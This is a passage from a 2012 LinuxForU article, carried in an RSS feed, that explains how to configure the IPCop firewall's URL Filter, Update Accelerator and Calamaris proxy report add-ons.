<em>Services  &#8211;&gt; Advanced Proxy</em> and select <em>Enable URL Filter</em>. Go to <em>Services  &#8211;&gt; URL Filter</em> for more settings. Various configuration items and features are listed below:</p><ul><li>Block Categories &#8212; Choose the unwanted category to block corresponding websites. The blacklist database can be scheduled to be updated daily/weekly or monthly. The default list has only a few block categories. Once updated, you will see a detailed list to block from.</li><li>Black list and White list &#8212; If a blacklisted website is to be accessible, add it to Custom Whitelist; to ban an accessible website, add it to Custom Blacklist.</li><li>Custom Expressions list &#8212; Add words to be blocked. For an example, add cricket, score and scores under this to block sites featuring these words.</li><li>File Extension Blocking &#8212; Block executable, compressed or Audio/Video file downloads by selecting the corresponding check-box.</li><li>Network-based access control &#8212; Lets some users browse the Web unrestricted, and can block others from using the Web at all.</li><li>Block Page settings &#8212; The message a user receives when trying to access a blocked website.</li><li>Log &#8212; Enable it to track who is trying to access blocked websites.</li><li>URL Filter Maintenance &#8212; Blacklist update settings, configure a daily/weekly/monthly update schedule and choose from four sources.</li><li>Backup URL Filter &#8212; Backup settings and complete blacklist, which can be restored later, or on a new IPCop installation.</li></ul><div id="attachment_9381" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-2-URL-Filter-Block-Categories.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-2-URL-Filter-Block-Categories-590x322.png?d9c344" alt="URL Filter block categories" title="URL Filter block categories" width="590" height="322" class="size-large wp-image-9381" /></a><p class="wp-caption-text">Figure 2: URL Filter block categories</p></div><p>URL Filter allows three categories of Internet access based on the IP address &#8212; filtered access, unrestricted access and no access (banned). One very important provision is that all sites from the custom whitelist can be accessed by banned IP addresses if you enable &#8220;Allow custom whitelist for banned clients&#8221;. This can be very helpful if all users need to access some websites.</p><h2>Update Accelerator</h2><p>Enable it at the bottom of <em>Services &#8211;&gt; Advanced Proxy</em> and go to <em>Services &#8211;&gt; Update Accelerator</em>. This requires only a few settings. Select Enable Log, Enable Passive Mode and Lower CPU priority for downloads. You may also define a maximum download rate.</p><p>This is very useful; it caches various large downloads like updates for anti-virus and OS patches, etc. Repeat requests are supplied from local cache, saving bandwidth and increasing download speed tremendously. To clear cache, either manually delete individual files, or set it to automatically delete unused files, via the Maintenance button in <em>Services &#8211;&gt; Update Accelerator</em>.</p><h2>Calamaris report generator</h2><p>This add-on requires no configuration. Go to <em>Logs &#8211;&gt; Proxy Reports</em>to access the report generator. Calamaris can generate reports based on parameters like Domain, Performance, Contents, Requester, etc. The time needed for report generation may vary based upon the CPU, hard disk and log size. Reports can be viewed on-screen or exported to text files (see Figures 3 and 4).</p><div id="attachment_9382" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-3-Proxy-Reports-Options.png?d9c344"><img class="size-large wp-image-9382" title="Proxy reports options" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-3-Proxy-Reports-Options-590x333.png?d9c344" alt="Proxy reports options" width="590" height="333" /></a><p class="wp-caption-text">Figure 3: Proxy reports options</p></div><div id="attachment_9383" class="wp-caption aligncenter" style="width: 583px"><img class="size-full wp-image-9383" title="Sample proxy report" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-4-Sample-Proxy-Report.png?d9c344" alt="Sample proxy report" width="583" height="626" /><p class="wp-caption-text">Figure 4: Sample proxy report</p></div><p>So folks, this adds four important add-ons to the vanilla IPCop. Watch out for further details!<div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/12/ipcop-firewall-installation-basics/" rel="bookmark" class="crp_title">Guard Your Network with IPCop, Part 1: Installation Basics</a></li><li><a href="http://www.linuxforu.com/2011/02/advanced-nmap-scanning-firewalls/" rel="bookmark" class="crp_title">Advanced Nmap: Scanning Firewalls</a></li><li><a href="http://www.linuxforu.com/2011/03/advanced-nmap-scanning-firewalls-continued/" rel="bookmark" class="crp_title">Advanced Nmap: Scanning Firewalls Continued</a></li><li><a href="http://www.linuxforu.com/2011/10/storage-management-using-openfiler-part-3/" rel="bookmark" class="crp_title">Storage Management using Openfiler, Part 3</a></li><li><a href="http://www.linuxforu.com/2011/08/storage-management-using-openfiler-part-1/" rel="bookmark" class="crp_title">Storage Management using Openfiler, Part 1</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/advanced-proxy/" title="Advanced Proxy" rel="tag">Advanced Proxy</a>, <a href="http://www.linuxforu.com/tag/cache-management/" title="cache management" rel="tag">cache management</a>, <a href="http://www.linuxforu.com/tag/caching/" title="Caching" rel="tag">Caching</a>, <a href="http://www.linuxforu.com/tag/calamaris-report-generator/" title="Calamaris Report Generator" rel="tag">Calamaris Report Generator</a>, <a href="http://www.linuxforu.com/tag/firewall/" title="firewall" rel="tag">firewall</a>, <a href="http://www.linuxforu.com/tag/internet-connections/" title="Internet connections" rel="tag">Internet connections</a>, <a href="http://www.linuxforu.com/tag/ipcop/" title="IPCop" rel="tag">IPCop</a>, <a href="http://www.linuxforu.com/tag/ipcop-add-ons/" title="IPCop add-ons" rel="tag">IPCop add-ons</a>, <a href="http://www.linuxforu.com/tag/isdn/" title="ISDN" rel="tag">ISDN</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/outgoing-traffic/" title="outgoing traffic" rel="tag">outgoing traffic</a>, <a href="http://www.linuxforu.com/tag/proxy-server/" title="proxy server" rel="tag">proxy server</a>, <a href="http://www.linuxforu.com/tag/putty/" title="putty" rel="tag">putty</a>, <a href="http://www.linuxforu.com/tag/smoothwall/" title="SmoothWall" rel="tag">SmoothWall</a>, <a href="http://www.linuxforu.com/tag/ssh/" title="ssh" rel="tag">ssh</a>, <a href="http://www.linuxforu.com/tag/ssh-utilities/" title="ssh utilities" rel="tag">ssh utilities</a>, <a href="http://www.linuxforu.com/tag/udp/" title="UDP" rel="tag">UDP</a>, <a href="http://www.linuxforu.com/tag/unified-threat-management/" title="Unified Threat Management" rel="tag">Unified Threat Management</a>, <a href="http://www.linuxforu.com/tag/update-accelerator/" title="Update Accelerator" rel="tag">Update Accelerator</a>, <a href="http://www.linuxforu.com/tag/url-filter/" title="URL Filter" rel="tag">URL Filter</a>, <a href="http://www.linuxforu.com/tag/vpn/" title="VPN" rel="tag">VPN</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/ipcop-firewall-addons/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Content Delivery Network via cdn.linuxforu.com

Served from: www.linuxforu.com @ 2012-02-04 10:46:16 -->
